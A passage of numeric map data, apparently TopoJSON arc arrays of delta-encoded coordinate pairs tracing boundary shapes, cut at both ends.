],[5,0],[6,5],[7,0],[9,-20],[6,-50],[-6,-20],[2,-15],[4,-15],[11,-10],[7,-20],[4,5],[7,5],[9,0],[4,5],[5,10],[4,10],[2,10],[11,10],[0,5],[5,0],[2,5],[6,-5],[5,20],[17,0],[-2,15],[2,0],[11,-10],[42,30],[5,5],[6,-5],[0,-10],[11,-25],[20,-15],[9,5],[13,30],[16,10],[13,10],[7,-10],[13,-10],[2,-5],[13,0],[0,-15],[7,-10],[-5,-30],[5,-5],[-5,-10],[0,-15],[18,-56],[13,5],[0,5],[3,5],[2,5],[4,0],[0,5],[2,0],[0,5],[3,0],[0,-5],[2,-5],[2,-10],[0,-5],[-2,-5],[0,-5],[-2,-5],[0,-10],[0,-10],[2,-5],[0,-25],[-2,-25],[11,-30],[2,5],[2,10],[4,5],[7,5],[2,10],[2,20],[7,-5],[15,0],[5,0],[17,15],[5,15],[6,5],[9,5],[9,0],[2,10],[5,0],[4,5],[2,10],[5,0],[4,0],[5,5],[6,0],[2,10],[11,0],[5,15],[6,0],[3,6],[6,0],[5,10],[8,5],[5,10],[4,0]],[[5760,5888],[-58,-50],[-53,0],[-48,-20],[-71,40],[7,66]],[[5592,6441],[62,-50],[4,0],[2,5],[3,0],[2,5],[4,0],[2,0],[3,0],[2,0],[4,0],[2,0],[5,0],[2,0],[2,0],[5,0],[4,10],[2,0],[2,0],[3,0],[4,0],[2,0],[5,0],[2,0],[2,0],[24,0],[0,-5],[5,-30],[-7,-20],[4,-5],[7,-5],[16,5],[8,15],[7,-5],[13,10],[7,0],[2,15],[9,10],[11,0],[6,0],[11,5],[3,15],[6,0],[49,-5],[6,-5],[18,15],[0,20],[9,15],[9,20],[15,20],[2,5],[-2,15],[24,5],[3,0],[0,5],[-3,6],[0,5],[3,0],[0,5],[2,5],[2,0],[2,0],[2,5],[3,0],[2,5],[-2,5],[2,0],[0,5],[2,0],[4,0],[3,0],[0,5],[0,10],[2,5],[4,5],[2,5],[-2,5],[-2,5],[4,10],[3,0],[0,5],[0,5],[-3,0],[-2,5],[-2,10],[0,5],[2,5],[2,5],[3,5],[2,5],[0,5],[4,5],[2,5],[3,0],[2,0],[2,5],[4,5],[3,0],[4,0],[2,5],[2,0],[-4,10],[0,10],[-2,10],[0,11],[-2,5],[-3,15],[-8,5]],[[6286,7049],[3,-10],[26,-35],[18,-15],[26,-5],[221,50],[11,0],[6,-5],[5,0],[4,0],[7,0],[6,0],[5,0],[6,5],[5,0],[2,0],[6,0],[3,-5],[2,0],[4,-20],[-11,-10],[-9,-66],[-15,6],[7,-61],[2,-15],[0,-10],[0,-10],[17,-5],[3,5],[4,0],[2,10],[9,0],[9,5],[11,-5],[11,-10],[7,-5],[6,-5],[-4,-5],[13,-15],[0,5],[4,-10]],[[6718,6808],[3,0],[-3,0]],[[6718,6808],[-26,-55],[-9,-21],[-26,-70],[-3,-5],[-2,-15],[-15,-15],[4,-15],[-2,0],[2,-20],[-9,-40],[5,-15],[11,-5],[4,-16],[-6,-15],[0,-10],[-5,-10],[5,-20],[-25,-20],[-8,-20],[-5,-10],[0,-15],[11,-5],[29,-15],[6,-5],[-4,-10],[-15,-10],[2,-10],[-5,-15],[-8,-6],[2,-5],[-2,-15],[-5,-10],[-2,-10],[-9,-10],[-6,-25],[-5,-30],[-2,-30],[-11,0],[-7,-10],[-2,-10],[-40,-35],[-11,5],[-4,5],[-26,-10],[-3,-11],[0,-20],[7,-25],[-20,-10],[0,-5],[-4,0],[0,-5],[2,-5],[2,-5],[2,0],[3,0],[2,0],[2,0],[4,0],[5,-5],[15,-15],[2,-25],[0,-15],[11,-10],[5,-25],[6,-10],[3,5],[15,-20],[7,-31],[6,-10],[3,0],[4,-10],[7,5],[0,-15],[-20,-15],[31,-75],[6,10],[16,-30],[26,-15],[7,-5],[-5,-5],[-4,0],[-7,-10],[-2,-6],[-2,-35],[-5,-5],[-11,-40],[3,-15],[4,-10],[2,-10],[5,0],[6,-15],[-2,-10],[-20,-5],[-2,-5],[-11,0],[-11,-15],[-7,0],[-11,-10]],[[5010,5803],[13,10],[13,-5],[9,0],[11,20],[7,10],[9,0],[9,0],[4,-10],[22,5],[20,-15],[17,5],[25,5],[13,-10],[0,-10],[7,-25],[-9,-65],[9,-21],[-25,-30],[-15,-30],[-9,-30],[16,-10],[13,-10],[2,-5],[7,-15],[2,0],[2,0],[2,0],[5,-5],[0,-5],[6,5],[5,-5],[4,5],[13,0],[33,20],[7,-15],[0,-25],[-7,-15],[9,-5],[2,-10],[-4,-31],[-9,-20],[-2,-10],[7,-30],[-3,-35],[-11,-20],[0,-25],[-11,-15],[5,-20],[-3,-11],[11,-20],[0,-15],[3,-20],[-9,-20],[0,-30],[-7,-25],[2,-20],[7,-10],[0,-30],[9,-6],[-2,-25],[-5,-10],[-15,-10],[-9,-20],[9,-25],[11,-10],[18,-35],[8,-10],[0,-10],[5,-10],[20,-25],[11,0],[6,-10],[16,-26]],[[5376,4793],[48,30],[20,-15],[0,10],[-2,25],[-11,25],[-2,10],[-20,5],[-9,10],[-9,16],[-11,0],[-17,35],[-9,10],[9,25],[-2,20],[-9,0],[-9,5],[-7,10],[-6,0],[2,5],[0,5],[2,0],[0,10],[2,10],[2,5],[0,5],[-2,5],[0,5],[0,5],[0,5],[-4,10],[0,5],[-2,0],[-3,10],[-2,6],[0,5],[-2,0],[0,5],[2,10],[0,5],[-4,15],[0,20],[-2,5],[0,10],[0,5],[0,5],[2,5],[2,0],[0,10],[0,5],[0,10],[-2,10],[-13,5],[-7,10],[7,25],[13,5],[0,15],[0,5],[6,16],[16,-5],[4,-11],[-4,-10],[11,-20],[-16,-20],[-6,-20],[0,-25],[-2,-15],[2,-10],[13,45],[7,-15],[9,15],[8,10],[16,30],[6,-5],[9,5],[7,20],[4,-5],[5,10],[4,-15],[7,-10],[4,-40],[-2,-10],[0,-10],[2,-5],[9,-5],[13,-5],[20,15],[11,5],[13,0],[11,0],[18,5],[6,5],[14,-5]],[[7258,5517],[-8,-11],[-5,-5],[-6,-25],[-11,0],[-18,-10],[-4,-20],[-16,-35],[-11,-15],[-4,-15],[-11,-10],[-5,-20],[-9,-10],[-19,-10],[-7,-15],[-11,10],[-13,5],[-53,5],[9,-30],[-9,-6],[-5,0],[-6,-5],[-2,-5],[-16,-45],[-13,-10],[-11,-5],[-4,-10],[-9,-10],[-7,0],[-13,-15],[-7,-10],[-13,15],[-2,35],[-20,40],[0,15],[-22,5],[-24,16],[-18,0],[-2,0],[-9,-5],[-7,-16],[-8,-20],[-14,0],[-4,0],[-2,-10],[-2,-45],[4,-30],[-13,-15],[-5,-10],[-8,-30],[0,-20],[-9,-11],[-7,-15],[-4,-20],[-9,-20],[-2,-25],[-9,-10],[-16,-20],[-13,-5],[-13,0],[-33,-10],[-11,0],[-24,-5],[-18,-15],[-7,5],[-4,0],[-4,-10],[-7,-5],[-11,0],[-4,-5],[-3,-10],[-13,-5],[-13,-10],[-7,10],[-15,0],[-7,5],[0,10],[0,15],[2,5],[-2,20],[0,10],[-17,-5],[-11,10],[-5,10],[-4,0],[-13,0],[-7,5],[-27,-10]],[[6718,6808],[3,0]],[[6721,6808],[0,5],[2,0],[6,-10],[51,-86],[40,-65],[9,-20],[28,-35],[5,-5],[6,0],[33,5],[16,5],[11,5],[6,0],[14,-10],[17,10],[44,-5],[27,-15],[92,-25],[-2,-36],[0,-25],[0,-10],[0,-5],[0,-5],[0,-5],[0,-5],[0,-5],[-2,-5],[0,-5],[-2,0],[0,-5],[0,-5],[-2,-5],[2,-10],[-2,0],[6,-30],[5,-5],[-5,-30],[7,-61],[-2,-5],[-14,-40],[-6,-30],[-16,-25],[-8,0],[-5,-15],[-18,-5],[-15,-10],[-15,-15],[-20,-25],[39,-46],[9,0],[9,-15],[9,0],[15,10],[3,-5],[11,-10],[46,45],[6,0],[7,5],[16,-15],[11,0],[4,0],[7,-15],[6,-10],[5,-10],[13,-10],[0,-10],[11,-25],[4,-10],[0,-40],[11,-35],[5,-26],[-7,0],[-4,-15],[4,-25],[-7,-25],[7,-15],[-2,-20],[0,-15],[-7,-30],[5,-15],[2,-25],[-2,-10],[-18,-6],[0,-40],[-2,-10],[6,-15],[3,-15],[17,-10],[5,-5],[6,-45],[-6,-15],[4,-10],[-7,-30]],[[5413,6647],[3,0],[2,5],[0,5],[2,15],[0,10],[-2,10],[-5,15],[0,5],[3,5],[2,10],[2,5],[0,6],[0,15],[0,5],[0,10],[0,5],[-2,10],[-2,10],[-3,15],[-2,5],[-2,5],[-2,5],[-7,0],[-4,0],[-2,5],[-3,0],[-2,15],[-2,10],[0,10],[0,15],[0,5],[2,0],[0,5],[2,10],[3,5],[2,0],[0,5],[2,0],[0,5],[2,5],[0,5],[-2,10],[-4,11],[-3,10],[0,15],[-2,5],[0,10],[-2,5],[0,5],[0,5],[2,5],[0,15],[0,5],[-2,5],[-2,5],[-2,5],[-5,5],[0,5],[0,5],[-2,5],[0,10],[0,5],[2,10],[2,10],[0,5],[3,0],[4,10],[4,5],[9,15],[2,5],[0,5],[0,11],[0,5],[3,5],[6,10],[0,10],[0,5]],[[2823,3698],[-17,-20],[-14,-11],[-4,-15],[-24,-55],[-7,-5],[-13,35],[0,10],[-20,25],[-20,-40],[-26,-30],[-27,-30],[-11,5],[-13,0],[-7,-5],[-2,-25],[-6,-10],[-3,-10],[-2,-10],[-4,-15],[-2,-26],[-7,-5],[-2,-10],[-7,-5],[-6,-5],[-3,-10],[-2,-10],[-13,-5],[-9,-10],[-9,-5],[-6,-15],[-5,-15],[-11,-10],[-4,10],[-20,-10],[-4,5],[-11,0],[-9,5],[-13,-15],[-14,15],[-11,-10],[-15,-20],[-7,-5],[-9,-20],[-15,-15],[-26,-41],[-3,-15],[-15,-25],[2,-5],[-6,-55],[-3,5],[-31,-25],[-22,-20],[-8,-5],[-11,0],[0,5],[2,5],[6,20],[9,25],[-4,20],[-18,30],[-4,0],[-2,25],[0,31],[-3,15],[5,10],[-7,10],[-2,5],[-2,5],[-2,5],[0,5],[-3,10],[0,5],[-2,0],[0,10],[2,0],[0,5],[-2,5],[0,5],[2,0],[0,5],[-2,0],[0,5],[-4,0],[-2,5],[-3,0],[-2,5],[-2,0],[-2,5],[-3,5],[-2,5],[-2,5],[-4,5],[-5,0],[-4,5],[0,5],[-5,5],[0,5],[-2,0],[-2,0],[-4,0],[-3,0],[-2,0],[-2,-5],[-4,0],[-3,0],[-2,5],[-2,0],[-4,-5],[-7,0],[-4,0],[-3,5],[-2,0],[0,5],[-4,5],[-2,0],[0,5],[-3,0],[-2,-5],[-2,5],[-2,0],[0,5],[0,5],[-2,0],[0,5],[-7,0],[-2,0],[-2,6],[-7,5],[-2,0],[-3,0],[-2,5],[-2,0],[0,5],[0,5],[-2,0],[-2,0],[-3,0],[0,-5],[-2,0],[-2,0],[-4,5],[-3,0],[-4,0],[-4,0],[0,-5],[-3,0],[0,-5],[-2,-5],[-2,-5],[-2,0],[0,-6],[-2,0],[0,-5],[-3,5],[0,6],[0,5],[3,5],[0,5],[0,5],[2,5],[0,5],[0,15],[0,5],[2,5],[-33,-35],[-2,0],[-20,-46],[-16,-15],[-6,-35],[-11,-5],[-22,5],[-7,15],[-6,0],[-11,15],[-3,10],[-6,15],[-2,15],[-5,21],[-13,0],[-13,25],[-7,25],[-9,15],[2,5],[3,5],[6,15],[2,5],[0,5],[3,5],[0,5],[0,5],[0,5],[2,5],[2,0],[2,5],[0,5],[5,10],[2,0],[2,5],[0,5],[5,0],[2,0],[-7,-20],[0,-5],[9,0],[2,0],[5,-5],[19,5],[22,15],[3,0],[2,0],[2,0],[2,0],[0,-5],[2,-5],[0,-5],[0,-5],[3,0],[2,-5],[2,0],[0,-5],[0,-5],[-2,-15],[2,0],[2,0],[2,0],[3,15],[0,5],[4,0],[0,10],[2,5],[-2,0],[2,10],[2,-5],[3,5],[2,5],[0,5],[2,5],[2,5],[5,5],[2,0],[2,5],[2,0],[0,10],[3,0],[2,0],[2,0],[2,11],[2,5],[5,10],[6,15],[3,0],[2,5],[2,5],[2,0],[2,-5],[3,0],[2,5],[0,5],[2,0],[2,5],[0,-5],[2,0],[3,5],[2,0],[2,0],[2,0],[2,0],[5,5],[-5,10],[-2,10],[2,5],[-2,5],[7,15],[-9,5],[-13,-15],[-9,0],[-4,-25],[-3,-5],[-13,25],[-11,-10],[-4,25],[-9,25],[-7,5],[2,5],[-4,5],[-15,10],[-9,10],[-5,-5],[-4,5],[0,5],[-2,0],[-2,0],[-3,0],[-2,0],[-2,-5],[-2,0],[-2,0],[-3,-10],[-2,0],[0,-5],[-2,0],[0,-5],[-2,0],[-2,0],[0,-5],[0,-5],[-3,0],[-2,-5],[-13,5],[0,5],[-7,5],[-4,-5],[-7,35],[-15,10],[0,-10],[-2,-5],[0,-5],[-3,-5],[0,-5],[3,-5],[0,-5],[-9,5],[-2,-5],[-7,0],[-2,-5],[-2,0],[0,-10],[-9,-5],[-9,5],[2,5],[0,5],[0,5],[0,5],[2,5],[3,0],[0,5],[2,5],[0,10],[0,5],[0,5],[2,10],[0,11],[0,5],[2,5],[-6,40],[8,5],[5,40],[-5,35],[3,0],[-3,15],[3,15],[-5,15],[2,15],[-2,0],[0,10],[-6,0],[-3,16],[5,35],[6,20],[3,0],[0,5],[2,5],[-11,10],[0,5],[6,0],[11,5],[9,0],[2,-5],[5,5],[2,-15],[7,5],[-3,5],[9,15],[16,40],[6,0],[5,10],[6,0],[5,5],[13,-10],[-4,-10],[13,-10],[13,-5],[7,5],[4,15],[9,-10],[4,0],[7,15],[0,10],[-9,10],[9,25],[9,16],[-9,10],[-7,5],[-4,25],[4,0],[0,10],[5,10],[4,5],[9,-15],[13,25],[5,10],[6,0],[9,20],[4,0],[7,30],[2,5],[-4,10],[13,25],[13,31],[2,0],[14,20],[8,5],[3,5],[2,-10],[7,20],[4,10],[26,40],[5,5],[0,25],[11,35],[-2,5],[-7,15],[-4,5],[-7,10],[0,6],[-2,0],[0,5],[-2,0],[-3,0],[-4,-5],[-7,-6],[-4,0],[0,-5],[-2,0],[-2,0],[-3,5],[-2,6],[-2,5],[-2,0],[-3,0],[0,-5],[-6,10],[-2,-10],[-5,10],[2,5],[-4,10],[13,25],[7,0],[0,-10],[7,-5],[19,35],[14,20],[-3,10],[-6,0],[4,10],[-2,0],[11,20],[4,15],[0,-5],[7,15],[9,5],[0,-5],[2,0],[0,-5],[2,0],[5,0],[4,10],[11,10],[0,15],[4,0],[-6,0],[0,16],[15,30],[9,20],[-9,10],[5,0],[-16,30],[2,5],[-4,15],[4,10],[7,5],[-9,10],[2,0],[5,15],[4,15],[7,10],[4,-5],[3,0],[2,-10],[2,0],[2,-5],[2,5],[3,-5],[2,0],[0,-5],[2,0],[2,0],[2,0],[16,-5],[4,15],[11,30],[0,10],[-13,11],[2,10],[-9,15],[3,5],[4,-5],[4,10],[-2,5],[5,5],[-3,0],[-4,5],[-4,10],[-3,-5],[-2,0],[-2,0],[-4,5],[2,5],[-7,10],[0,5],[2,5],[3,5],[-3,10],[7,15],[-9,15],[7,25],[4,10],[11,15],[-2,0],[7,10],[-7,16],[-7,20],[-11,20],[-4,5],[-4,10],[-9,0],[2,-10],[-11,-10],[-7,0],[-2,5],[-9,-15],[5,-15],[4,-5],[7,-15],[11,-36],[-11,-10],[-11,30],[-7,0],[-7,21],[-4,0],[-2,5],[2,0],[-2,10],[-2,5],[-3,0],[-6,20],[-9,5],[0,5],[0,5],[-2,0],[-2,5],[-3,0],[3,5],[-3,10],[-2,0],[-4,-5],[-7,15],[-9,5],[-6,0],[-5,5],[0,5],[3,5],[4,5],[2,5],[2,0],[0,5],[3,0],[0,5],[-3,0],[-2,5],[-2,0],[-2,5],[-7,10],[-2,5],[-57,101]],[[2072,5562],[72,140]],[[2144,5702],[71,-125],[9,-20],[9,-5],[6,-10],[2,5],[3,-5],[8,10],[5,-5],[13,-10],[4,-10],[-13,-21],[7,-10],[-9,-15],[4,0],[3,-5],[2,-5],[6,-15],[18,-30],[22,-35],[7,-10],[2,0],[-9,-15],[-2,0],[-11,-20],[-2,0],[-11,-15],[2,-5],[4,-5],[7,-15],[2,0],[2,0],[2,0],[3,0],[6,-6],[2,0],[3,6],[0,5],[2,0],[2,5],[0,-5],[2,5],[0,5],[3,0],[2,5],[2,-5],[2,0],[0,10],[0,5],[0,5],[13,-25],[7,10],[2,-5],[5,-5],[6,0],[5,0],[4,-10],[0,-6],[-4,-10],[0,-5],[-3,-5],[-2,-10],[0,-5],[-2,0],[22,-25],[-2,-10],[-13,-10],[2,-10],[-9,-10],[-2,-10],[6,-15],[3,5],[4,-10],[4,-5],[7,10],[7,-5],[8,25],[5,15],[2,0],[2,0],[2,5],[3,0],[2,0],[0,5],[2,0],[2,10],[0,5],[5,15],[4,5],[2,0],[3,10],[2,5],[2,0],[2,5],[5,5],[0,5],[2,5],[2,0],[4,16],[-4,10],[-4,10],[-3,-5],[-2,5],[5,5],[-3,10],[-8,-5],[0,20],[8,15],[11,5],[5,10],[-2,0],[17,20],[-2,5],[-7,-5],[-2,0],[0,10],[9,0],[9,0]],[[2501,5451],[5,20],[-7,5],[-13,25],[-53,121],[-4,10],[6,15],[0,35],[-2,15],[-9,15],[9,6],[-6,20],[4,0],[-2,10],[4,5],[-4,10],[6,5],[-2,15],[7,10],[0,5],[-2,0],[-3,5],[-2,0],[0,5],[-4,0],[-2,5],[-3,0],[-2,5],[-2,0],[-2,5],[-3,0]],[[2554,5517],[-2,-16],[-2,-10],[13,-25],[-2,-5],[2,-15],[2,-5],[7,-5],[2,10],[5,5],[4,10],[13,10],[2,5],[7,0],[2,0],[-6,20],[0,26],[-3,10],[-11,0],[-6,-10],[-2,5],[2,5],[-5,0],[-22,-15]],[[1897,4597],[-13,-25],[-4,-5],[-7,0],[-4,0],[-5,-5],[-4,5],[-9,-5],[-6,0],[-11,10],[0,5],[6,10],[0,10],[5,5],[2,10],[2,-5],[4,5],[3,-10],[13,15],[4,-10],[2,5],[3,0],[4,5],[2,0],[2,0],[5,0],[4,5],[2,5],[-4,10],[13,15],[2,15],[16,31],[2,5],[-4,0],[2,10],[18,25],[8,10],[7,10],[11,30],[-7,0],[7,20],[7,-5],[-3,-10],[7,0],[4,-10],[3,-10],[6,-10],[0,-10],[-4,-5],[2,-10],[2,0],[0,5],[2,0],[3,0],[4,5],[2,0],[7,-15],[9,-10],[11,-10],[-2,-10],[8,-11],[5,-10],[-9,-20],[-4,-10],[-23,-55],[0,-5],[3,-5],[-3,-10],[5,-5],[-7,-15],[-4,5],[-2,-5],[-7,5],[-4,0],[-11,0],[-14,10],[-17,25],[-11,10],[-7,0],[-4,0],[-25,-10]],[[1816,5200],[189,281]],[[2005,5481],[58,-110],[9,-20],[2,5],[2,-5],[2,0],[11,-20],[2,5],[5,-5],[9,10],[22,-51],[-22,-20],[-5,10],[-17,-15],[-7,5],[-13,-10],[9,-20],[17,15],[0,-5],[20,15],[7,-15],[4,0],[5,-15],[2,5],[2,-10],[4,0],[7,-20],[4,0],[3,-5],[2,-5],[-27,-30],[-17,-40],[-7,-20],[-11,-36],[4,-20],[7,-20],[2,-5],[-2,-5],[4,0],[-4,-10],[7,-15],[-14,-35],[5,-5],[9,-10],[11,20],[-3,5],[12,10],[4,-5],[2,0],[11,0],[0,-5],[2,-5],[3,0],[2,-5],[0,-5],[0,-5],[-2,-5],[-3,0],[-2,-5],[-2,-5],[0,-5],[-2,-5],[-2,0],[0,-5],[-3,0],[-4,-5],[-2,0],[0,-5],[0,-5],[-5,-10],[-2,-11],[0,-5],[-2,0],[0,-10],[-2,0],[2,-5],[0,-5],[0,-5],[-2,-5],[0,-5],[-3,0],[0,-5],[-4,0],[-2,-5],[-2,-5],[-7,10],[4,5],[-6,5],[-2,-5],[-3,-5],[-13,0],[2,-10],[-11,-5],[-2,-10],[-13,5],[-11,-5],[-7,-10],[-2,5],[-4,0],[-9,15],[-2,-5],[-5,5],[-4,0],[-9,10],[-4,10],[4,5],[-2,10],[-9,10],[-13,-15],[-2,5],[-7,-10],[4,-5],[-4,-10],[-4,0],[-9,-10],[-7,10],[-6,-25],[-9,-5],[-13,10],[-5,-20],[-13,25],[-2,0],[-3,0],[-4,0],[-2,5],[-2,-5],[0,5],[0,5],[-9,20],[-9,10],[-15,-15],[-14,20],[-19,31],[-5,0],[-9,-21],[-2,5],[2,10],[5,11],[17,30],[-6,15],[-11,-10],[-5,10],[-22,30],[-55,90],[84,131]],[[1829,4672],[0,-5],[-2,-5],[0,-40],[-4,-10],[2,-5],[-5,-15],[-11,-10],[-2,-15],[2,-5],[-13,-25],[-20,-20],[-6,25],[2,5],[-2,10],[-16,15],[-6,20],[4,10],[2,10],[2,5],[3,0],[11,0],[2,10],[17,25],[11,35],[7,-10],[4,5],[3,5],[15,-15]],[[2819,5602],[0,-20],[-9,5],[-4,-10],[-9,-10],[-2,5],[-11,-15],[-5,20],[-2,15],[2,5],[2,-5],[3,5],[-5,5],[27,20],[-3,10],[5,5],[11,-10],[0,-25]],[[3518,7672],[-18,15],[-9,-5],[-6,15],[8,30],[-2,20],[-13,0],[-4,16],[-11,0],[-11,10],[4,25],[2,5],[-2,5],[-11,0],[-42,0],[-13,-5],[-7,-5],[-9,0],[-17,5],[-7,0],[-15,-5],[-25,5],[-8,10],[-31,35],[-9,-10],[2,10]],[[3264,7848],[5,30],[11,15],[-3,30],[0,5],[-4,10],[2,10],[-2,5],[4,6],[3,0],[2,-6],[2,-5],[7,0],[2,5],[0,6],[0,5],[2,0],[4,5],[5,-5],[4,-5],[2,-6],[5,-5],[2,5],[2,0],[2,6],[3,0],[0,5],[2,0],[4,-5],[5,-6],[2,0],[4,-5],[5,5],[4,0],[2,0],[3,-5],[0,-20],[0,-10],[0,-5],[0,-5],[0,-5],[0,-5],[2,0],[2,-5],[9,0],[2,0],[0,-10],[13,-5],[2,-5],[9,0],[13,0],[9,10],[5,5],[2,5],[4,5],[14,-5],[4,-5],[22,65],[4,16],[0,5],[-11,20],[5,5],[-7,10],[2,0],[40,10],[24,0],[25,-5],[30,10],[-2,5],[0,5],[-2,5],[-2,0],[-5,5],[-2,0],[-2,0],[-2,0],[-2,0],[-5,10],[0,5],[-2,5],[0,5],[0,5],[0,10],[0,10],[2,5],[0,5],[0,20],[0,5],[16,5],[4,-10],[0,-15],[7,0],[-5,-10],[7,-5],[6,0],[16,20],[22,-10],[13,10],[9,0],[9,0],[0,10],[-2,15],[0,10],[4,10],[-2,16],[9,25],[0,15],[6,20],[-2,25],[4,0],[5,5],[-13,20],[-9,10],[-11,5],[-14,5],[7,20],[-4,5],[0,5],[0,5],[0,10],[4,10],[0,5],[0,6],[0,5],[-2,5],[0,5],[0,5],[-2,5],[13,-5],[4,5],[7,0],[26,-25],[14,0],[13,-6],[9,11],[6,-5],[16,15],[0,5],[-9,0],[9,10],[-9,5],[-5,5],[0,5],[5,10],[2,5],[2,0],[14,-5],[15,10],[0,-10],[-2,-15],[6,-25],[5,-10],[4,0],[5,0],[6,0],[16,-11],[13,-5],[13,0],[9,-5],[11,-25],[11,-35],[-4,0],[-3,-5],[-2,0],[-6,-20],[-3,-5],[-2,0],[-2,-5],[-2,-5],[0,-10],[0,-5],[0,-5],[0,-5],[-5,-5],[-6,0],[-3,0],[-2,-5],[-2,-5],[-2,-5],[-5,-5],[-4,-10],[-2,-5],[0,-5],[-2,-15],[-3,-11],[3,-5],[-3,-10],[7,-15],[0,-10],[-2,-15],[0,-15],[-9,-45],[-4,-5],[2,-5],[-9,-5],[-2,-5],[-27,-25],[-13,-5],[-53,5],[5,-46],[2,-45],[2,-30],[-9,-5],[0,-5],[0,-5],[7,-10],[13,0],[0,-15],[2,-10],[0,-15],[2,-30],[97,20],[27,5],[62,-15],[2,-10],[11,-46],[20,-40],[17,-30],[7,-5],[26,0],[7,-5],[0,-15],[29,5],[6,-5],[0,-10],[7,5],[13,5],[-2,5],[4,25],[0,5],[0,5],[0,15],[7,30],[9,25],[9,6],[35,5],[20,10],[6,10],[7,30],[7,5],[22,20],[19,10],[9,10],[11,-5],[18,20],[6,-5],[0,20],[-4,10],[-7,0],[-4,5],[-7,20],[14,15],[6,15],[5,6],[4,-6],[2,0],[0,26],[11,5],[29,-31],[7,6],[13,-21],[24,21],[7,0],[20,15],[8,15],[-4,20],[13,10],[9,5],[2,5],[5,0],[15,0],[2,5],[-4,0],[6,10],[11,15],[-4,10],[-22,40],[4,5],[-11,51],[3,10],[4,5],[7,15],[11,10],[-3,5],[3,10],[-3,5]],[[4410,8225],[5,0],[2,5],[0,5],[2,5],[2,10],[3,0],[2,0],[4,5],[0,5],[5,5],[13,-15],[7,-30],[-5,-10],[13,-15],[3,-15],[4,-15],[0,-16],[0,-15],[4,-20],[-2,-5],[5,-20],[-3,-25],[-4,0],[0,25],[-2,0],[-44,-30],[19,-15],[5,0],[7,-10],[11,-15],[6,0],[7,0],[4,0],[0,-5],[2,-10],[7,0],[11,-5],[9,-10],[4,0],[5,-5],[2,-15],[2,-10],[2,-11],[0,-20],[0,-5],[7,-5],[4,5],[5,0],[6,-5],[0,10],[16,0],[0,-15],[6,-30],[3,-15],[0,-5],[-3,0],[0,-10],[-2,-10],[2,-5],[-2,-5],[0,-5],[-2,-10],[0,-5],[-2,-10],[0,-10],[-2,-5],[0,5],[-5,-5],[2,0],[-2,-5],[0,-5],[-2,-5],[-7,-5],[-2,0],[-4,-10],[0,-6],[-3,0],[-4,-5],[-2,-5],[-2,-5],[-5,-5],[7,-15],[-2,-20],[-18,-25],[0,-5],[7,-25],[-5,-10],[-9,-10],[-13,-10],[-6,0],[-16,-25],[-2,10],[-20,-20],[2,-15],[-26,-10],[-16,-6],[-19,-10],[0,16],[-3,20],[5,25],[-2,15],[-20,-5],[-18,5],[-26,5],[-3,5],[-4,10],[-13,15],[2,5],[-2,5],[-7,0],[0,-10],[0,-5],[-2,0],[-2,-5],[-7,-15],[-2,-5],[-4,-15],[-3,-10],[-2,-5],[0,-5],[-2,-10],[0,-10],[2,-5],[0,-5],[5,-6],[-5,0],[-2,-5],[-2,-5],[-7,-10],[-2,0],[-2,-5],[-2,0],[-3,-10],[-2,-5],[-4,-5],[-2,0],[-7,0],[-9,5],[-7,0],[-6,-5],[-7,-10],[-6,-5],[-5,-5],[-2,0],[-4,-10],[-3,-15],[-4,-10],[-4,-15],[-9,-35],[-5,-5],[-2,-5],[-4,-15],[-5,-15],[0,-21],[-2,-5],[-4,-15],[-13,-20],[-5,-10],[-11,-5],[-7,-5]],[[3826,6763],[7,-10],[11,0],[0,-5],[-4,-5],[-5,-11],[-4,6],[-9,-31],[-18,10],[-13,-5],[-4,5],[8,26],[0,10],[5,5],[2,-5],[4,10],[5,5],[0,5],[9,5],[-3,-10],[7,0],[2,-5]],[[3130,8019],[6,35],[3,35],[6,10],[0,5],[-4,5]],[[3141,8109],[4,5],[7,-5],[15,15],[16,0],[6,5],[0,10],[9,10],[15,10],[14,16],[2,5]],[[3229,8180],[7,-10],[6,0],[24,10],[5,-15],[6,-11],[11,-15],[5,-15],[4,-20],[7,-10],[0,-5],[0,-10],[-7,-15],[-2,-15],[-2,-10],[-7,-15],[-20,-10],[-24,5],[-15,-15],[-14,0],[-57,15],[-13,-5],[-9,5],[-4,0]],[[3427,8466],[2,0],[0,-20],[5,0],[2,-5],[9,-5],[29,0],[0,-10],[2,-20],[6,0],[3,-30],[-9,-36],[-9,0],[-4,-20],[8,-65],[-30,0],[-7,0],[-5,-10],[-6,0],[-7,0],[-13,5],[-11,0],[-24,-15],[-9,-5],[-11,-5],[-16,-5],[-11,-15],[-17,-5],[-18,35],[-4,25]],[[3282,8260],[11,25],[11,15],[2,10],[0,5],[-2,0],[-11,10],[-5,-5],[-4,15],[-4,5],[-3,5],[-2,-5],[-11,10],[-11,5],[-6,5],[-7,-5],[-11,-5],[2,21],[9,20],[13,40],[7,10],[15,-15],[11,-10],[9,-15],[9,-5],[4,0],[11,0],[20,-46],[11,0],[27,10],[6,11],[7,20],[6,5],[11,5],[0,20],[20,15],[-4,25],[4,5]],[[3698,8757],[-2,0],[-9,5],[-4,-5],[-4,0],[-5,-5],[-2,0],[-7,-5],[-2,0],[0,-15],[0,-5],[0,-5],[7,-10],[2,-5],[0,-5],[0,-30],[-2,-10],[-2,-15],[-7,5],[-2,-5],[-5,0],[-2,-10],[0,-5],[-9,-5],[-6,-20],[0,-5],[-5,-5],[-4,-10],[-9,-15],[-11,-21],[-2,0],[-7,0],[0,5],[-2,16],[0,20],[0,5],[-4,0],[0,10],[-5,0],[-2,10],[7,25],[-3,10],[5,10],[-16,10],[-13,0],[-11,5],[-9,0],[-22,-5],[0,5],[7,40],[4,-5],[7,30],[-18,36]],[[3524,8778],[5,0],[4,20],[-7,10],[3,10],[17,15],[3,5],[19,-5],[9,5],[13,-5],[0,30],[9,40],[22,-15],[13,-10],[-2,-20],[2,-5],[0,-10],[3,0],[9,0],[6,0],[5,0],[6,0],[2,-5],[3,0],[2,5],[2,0],[7,5],[0,5],[2,0],[4,5],[13,25],[7,10],[7,10],[6,5],[-2,10],[0,5],[9,15],[6,-5],[5,0],[2,0],[9,-5],[4,0],[9,-5],[11,-10],[18,0],[2,5],[2,10],[9,10],[4,5],[5,5],[6,0],[9,5],[2,5],[3,0],[-9,-20],[-11,0],[-2,-5],[-9,-20],[-7,-5],[-11,-20],[0,-10],[20,-10],[0,-10],[2,-15],[5,-5],[0,-15],[4,-5],[7,-5],[2,-5],[-2,-5],[-3,-5],[-2,0],[0,-5],[-2,-5],[0,-5],[-7,10],[0,15],[-4,0],[-7,-10],[0,-5],[-6,-15],[4,0],[0,-6],[-2,-5],[-9,5],[0,11],[-4,0],[-11,-5],[-2,0],[-11,-6],[-5